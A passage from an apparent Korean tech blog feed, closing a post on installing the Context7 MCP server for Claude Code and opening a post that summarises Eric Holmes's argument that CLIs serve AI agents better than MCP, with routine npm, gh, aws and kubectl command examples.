&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code Bash 도구로 npm 명령어를 실행하면 현재 최신 버전과 패키지 정보를 즉시 확인할 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;livescript&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 최신 버전 확인
npm info react version
npm info next version
npm info @tanstack/react-query version

# 패키지 상세 정보 (peer deps, 지원 Node 버전 등)
npm view tailwindcss

# 설치된 패키지 버전 확인
npm list next react&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;방법 비교&lt;/h3&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #cce5ff;&quot;&gt;방법&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #cce5ff;&quot;&gt;최신성&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #cce5ff;&quot;&gt;편의성&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #cce5ff;&quot;&gt;정확성&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #cce5ff;&quot;&gt;추천 상황&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;&lt;b&gt;Context7 MCP&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;최신&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;자동 (키워드 하나)&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;높음&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;일상적인 코딩 &amp;mdash; 주요 라이브러리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #ffffff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;&lt;b&gt;WebFetch (직접 URL)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;최신&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;수동 (URL 입력)&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;높음&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;특정 페이지를 정확히 알 때, 마이너 라이브러리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;&lt;b&gt;npm info / view&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;최신&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;간단&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;중간 (버전만)&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;버전 확인, peer deps 파악&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #ffffff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;&lt;b&gt;모델 학습 지식&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;구버전 위험&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;자동&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;낮음 (단순 문법 외)&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;기본 문법 질문만 권장&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;권장 조합&lt;/b&gt;&lt;br /&gt;Context7에 등록된 주요 라이브러리는 Context7 MCP로, 마이너 라이브러리나 특정 페이지가 필요할 때는 WebFetch로 URL을 직접 넘기는 방식을 병행하면 대부분의 상황을 커버할 수 있다.&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;11. 결론&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size:=&quot;&quot; data-ke-size=&quot;size16&quot;&gt;Context7 MCP는 AI 코딩 도구의 가장 오래된 불만 중 하나 &amp;mdash; &lt;b&gt;구식 코드 추천&lt;/b&gt; &amp;mdash; 를 깔끔하게 해결한다. 설치는 명령어 한 줄이고, 사용은 &quot;use context7&quot; 네 글자면 충분하다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;특히 Next.js, React, Tailwind CSS처럼 빠르게 변화하는 프레임워크를 매일 쓰는 개발자라면 체감 효과가 크다. 무료로 시작할 수 있으니 지금 바로 설치해보자.&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Context7 MCP 핵심 요약&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 0; padding-left: 20px; line-height: 1.9;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;패키지: &lt;code style=&quot;background: #c8e6c9; padding: 1px 5px; border-radius: 3px; font-family: monospace;&quot;&gt;@upstash/context7-mcp&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;설치: &lt;code style=&quot;background: #c8e6c9; padding: 1px 5px; border-radius: 3px; font-family: monospace;&quot;&gt;claude mcp add --scope user context7 -- npx -y @upstash/context7-mcp&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;사용: 프롬프트에 &lt;b&gt;&quot;use context7&quot;&lt;/b&gt; 추가&lt;/li&gt;
&lt;li&gt;Tools: &lt;code style=&quot;background: #c8e6c9; padding: 1px 5px; border-radius: 3px; font-family: monospace;&quot;&gt;resolve-library-id&lt;/code&gt;, &lt;code style=&quot;background: #c8e6c9; padding: 1px 5px; border-radius: 3px; font-family: monospace;&quot;&gt;query-docs&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;무료 API 키: &lt;a href=&quot;https://context7.com/dashboard&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;context7.com/dashboard&lt;/a&gt; (한도는 플랜별 상이 &amp;mdash; 대시보드 확인)&lt;/li&gt;
&lt;li&gt;Node.js v18 이상 필요&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;참고: &lt;a href=&quot;https://github.com/upstash/context7&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub - upstash/context7&lt;/a&gt; / &lt;a href=&quot;https://context7.com/docs/overview&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Context7 공식 문서&lt;/a&gt; / &lt;a href=&quot;https://upstash.com/blog/context7-mcp&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Upstash 블로그&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</description>
      <category>AI/MCP(2026) vs CLI</category>
      <category>AI 할루시네이션 코드 방지</category>
      <category>Claude Code 문서 참조</category>
      <category>Context7 MCP</category>
      <category>context7-mcp 설치</category>
      <category>mcp 설치 방법</category>
      <category>mcp 추천</category>
      <category>Upstash context7</category>
      <category>use context7</category>
      <category>개발자 mcp</category>
      <category>최신 라이브러리 문서 AI</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/536</guid>
      <comments>https://goddaehee.tistory.com/536#entry536comment</comments>
      <pubDate>Thu, 5 Mar 2026 23:52:29 +0900</pubDate>
    </item>
    <item>
      <title>MCP는 죽었다, CLI 만세 &amp;mdash; Eric Holmes의 도발적 주장과 한국 개발자 반응 : MCP vs CLI, 개발자는 무엇을 써야 하는가?</title>
      <link>https://goddaehee.tistory.com/535</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2026년 2월 28일, Eric Holmes가 도발적인 제목의 글을 올렸다. &lt;b&gt;&quot;MCP is dead. Long live the CLI.&quot;&lt;/b&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2418&quot; data-origin-height=&quot;1628&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BMPHD/dJMcaf6Nmza/6dHjT1JyNy2CWmkJUc8UaK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BMPHD/dJMcaf6Nmza/6dHjT1JyNy2CWmkJUc8UaK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BMPHD/dJMcaf6Nmza/6dHjT1JyNy2CWmkJUc8UaK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBMPHD%2FdJMcaf6Nmza%2F6dHjT1JyNy2CWmkJUc8UaK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2418&quot; height=&quot;1628&quot; data-origin-width=&quot;2418&quot; data-origin-height=&quot;1628&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;MCP(Model Context Protocol)가 AI 에이전트의 표준 인터페이스로 자리잡는 분위기 속에서, &quot;MCP보다 CLI가 낫다&quot;는 주장이 개발자 커뮤니티에 파문을 일으켰다. GeekNews에서도 이 글이 빠르게 공유되며 찬반 논쟁이 이어졌다.&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;MCP는 정말 죽어가고 있는가?&lt;/b&gt;&lt;/span&gt; CLI는 AI 에이전트 시대에도 여전히 최선의 선택인가? 이 글에서는 Holmes의 주장을 정리하고, 한국 개발자 커뮤니티의 반응까지 종합해 이 논쟁의 핵심을 짚어본다.&lt;/p&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;MCP란 무엇인가 &amp;mdash; 5분 복습
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;공식 정의와 아키텍처&lt;/li&gt;
&lt;li&gt;현재 지원 현황&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&quot;MCP가 죽었다&quot;는 주장의 배경&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;CLI의 5가지 핵심 강점
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;LLM의 CLI 친숙도&lt;/li&gt;
&lt;li&gt;디버깅 투명성&lt;/li&gt;
&lt;li&gt;구성 가능성(Composability)&lt;/li&gt;
&lt;li&gt;기존 인증 체계 재활용&lt;/li&gt;
&lt;li&gt;운영 단순성&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;MCP의 현실적 문제점 3가지&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;CLI vs MCP 비교표&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;MCP가 여전히 적합한 상황&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;한국 개발자 커뮤니티 반응 (GeekNews)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;개발자에게 주는 시사점&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;참고 자료&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- 핵심 요약 박스 --&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 5px solid #0066cc; padding: 20px 22px; border-radius: 0 12px 12px 0; margin-bottom: 30px;&quot;&gt;&lt;b&gt;핵심 요약&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Eric Holmes(2026.02.28)는 &quot;LLM은 이미 CLI에 능숙하므로, MCP 대신 CLI를 우선해야 한다&quot;고 주장 (출처: ejholmes.github.io)&lt;/li&gt;
&lt;li&gt;CLI의 강점: LLM 친숙도, 디버깅 투명성, 파이프라인 조합, 기존 인증 재활용, 운영 단순성&lt;/li&gt;
&lt;li&gt;MCP의 문제: 초기화 불안정, 반복 재인증, 권한 제어 부재&lt;/li&gt;
&lt;li&gt;GeekNews 커뮤니티는 &quot;CLI가 좋지만 MCP가 적합한 상황도 존재한다&quot;는 절충론이 다수&lt;/li&gt;
&lt;li&gt;결론: &quot;좋은 API를 만들고, 좋은 CLI를 만들어라. 에이전트는 알아서 해낼 것이다&quot; (출처: 원문 블로그)&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 1 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. MCP란 무엇인가 &amp;mdash; 5분 복습&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;논쟁의 핵심으로 들어가기 전에, MCP가 무엇인지 간략히 짚고 넘어가자.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;공식 정의와 아키텍처&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;MCP(Model Context Protocol)&lt;/b&gt;는 Anthropic이 2024년 말 공개한 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;오픈 프로토콜&lt;/b&gt;&lt;/span&gt;이다. AI 모델이 파일 시스템, 데이터베이스, 외부 API 같은 리소스와 표준화된 방식으로 상호작용하도록 설계되었다. (출처: &lt;a href=&quot;https://modelcontextprotocol.io&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;modelcontextprotocol.io&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;MCP의 구조는 세 가지 역할로 나뉜다:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;역할&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;설명&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;예시&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Host&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;MCP 클라이언트를 포함하는 AI 애플리케이션&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Claude Code, Cursor, VS Code GitHub Copilot&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Client&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;MCP 서버와 연결을 유지하는 컴포넌트&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Host 내부에 내장됨&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Server&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;특정 도구&amp;middot;리소스를 AI에 노출하는 경량 프로그램&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Filesystem MCP, GitHub MCP, Fetch MCP&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;현재 지원 현황&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code, Cursor, VS Code GitHub Copilot 등 주요 AI 개발 도구가 MCP를 지원한다. 커뮤니티에서 다양한 MCP 서버가 공개되어 있으며, 기업들도 자체 MCP 서버를 구축&amp;middot;운영하고 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px 18px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;그렇다면 왜 &quot;MCP가 죽었다&quot;는 말이 나오는 걸까?&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;MCP 채택이 빠르게 늘고 있는 상황에서 나온 이 주장은, &quot;MCP가 기술적으로 실패했다&quot;는 의미가 아니다. 오히려 &lt;b&gt;&quot;CLI로 충분한데 왜 MCP를 쓰는가?&quot;&lt;/b&gt;라는 실용주의적 반문에 가깝다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. &quot;MCP가 죽었다&quot;는 주장의 배경&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Eric Holmes는 2026년 2월 28일, 자신의 블로그에 &lt;b&gt;&quot;MCP is dead. Long live the CLI.&quot;&lt;/b&gt;라는 제목의 글을 올렸다. (출처: &lt;a href=&quot;https://ejholmes.github.io/2026/02/28/mcp-is-dead-long-live-the-cli.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;ejholmes.github.io, 2026.02.28&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Holmes의 핵심 전제는 단순하다. &lt;b&gt;&quot;LLM은 이미 CLI를 매우 잘 사용할 줄 안다.&quot;&lt;/b&gt; 수백만 건의 man page, StackOverflow 답변, README 파일로 훈련된 LLM에게 CLI 도구는 이미 친숙한 인터페이스다. MCP라는 별도의 추상 계층이 굳이 필요한가?&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #d0d7de;&quot;&gt;&lt;b&gt;Holmes의 주장 핵심 (원문 요약)&lt;/b&gt;
&lt;ul style=&quot;margin: 12px 0 0 20px; padding: 0; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&quot;MCP는 더 깔끔한 인터페이스를 약속했지만, 결국 동일한 문서화가 필요하다&quot;&lt;/li&gt;
&lt;li&gt;&quot;최고의 도구는 인간과 기계 모두에게 동일하게 작동하는 것이다. CLI는 수십 년의 설계 반복을 거쳐왔다&quot;&lt;/li&gt;
&lt;li&gt;&quot;기업은 MCP 서버에 투자하기 전에 좋은 API와 CLI를 먼저 제공해야 한다&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. CLI의 5가지 핵심 강점&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Holmes가 CLI를 선호하는 이유는 단순한 취향이 아니다. 그는 다섯 가지 구체적인 근거를 제시한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3-1. LLM의 CLI 친숙도&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;LLM은 수백만 건의 man page, StackOverflow 답변, GitHub README, 기술 블로그로 훈련되었다. &lt;code&gt;gh pr view 123&lt;/code&gt;, &lt;code&gt;aws s3 ls&lt;/code&gt;, &lt;code&gt;kubectl get pods&lt;/code&gt; 같은 명령어는 LLM에게 완전히 자연스러운 언어다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;// LLM이 자연스럽게 이해하고 실행하는 CLI 명령 예시&lt;/div&gt;
&lt;pre class=&quot;sql&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;$ gh pr view 123 --json title,body,reviews
$ aws ec2 describe-instances --filters &quot;Name=tag:Env,Values=prod&quot;
$ kubectl logs -n production deploy/api-server --tail=100&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px 18px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;토큰 효율성에서도 CLI가 유리하다&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;MCP를 사용하면 초기화 메시지, 도구 목록 스키마, JSON-RPC 통신 레이어가 모두 컨텍스트에 포함된다. 반면 CLI는 실제 명령 출력만 컨텍스트에 들어간다. 컨텍스트 윈도우가 제한된 에이전트 환경에서 이 차이는 무시하기 어렵다.&lt;/p&gt;
&lt;p style=&quot;font-size: 13px; color: #666; margin-top: 5px;&quot; data-ke-size=&quot;size14&quot;&gt;토큰 소비량은 MCP 서버 구현 방식과 도구 수에 따라 크게 달라질 수 있습니다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;반면 MCP 서버는 별도의 API 스펙을 정의해야 하며, LLM이 이를 이해하려면 추가적인 문서화가 필요하다. 결국 CLI와 동일한 수준의 설명이 필요하다는 역설이 생긴다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3-2. 디버깅 투명성&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;CLI를 사용하면 개발자가 &lt;b&gt;동일한 명령어를 터미널에서 직접 실행&lt;/b&gt;해 LLM이 보는 것과 동일한 결과를 확인할 수 있다. 문제가 생기면 즉시 재현하고 디버깅할 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px 18px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Holmes의 말 (원문 요약)&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;문제가 생기면 명령어를 직접 실행하는 대신 JSON 전송 로그를 뒤져야 한다. 디버깅에 프로토콜 디코더가 필요해서는 안 된다.&quot;&lt;/p&gt;
&lt;p style=&quot;margin-top: 5px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;(출처: ejholmes.github.io, 2026.02.28)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3-3. 구성 가능성 (Composability)&lt;/h3&gt;
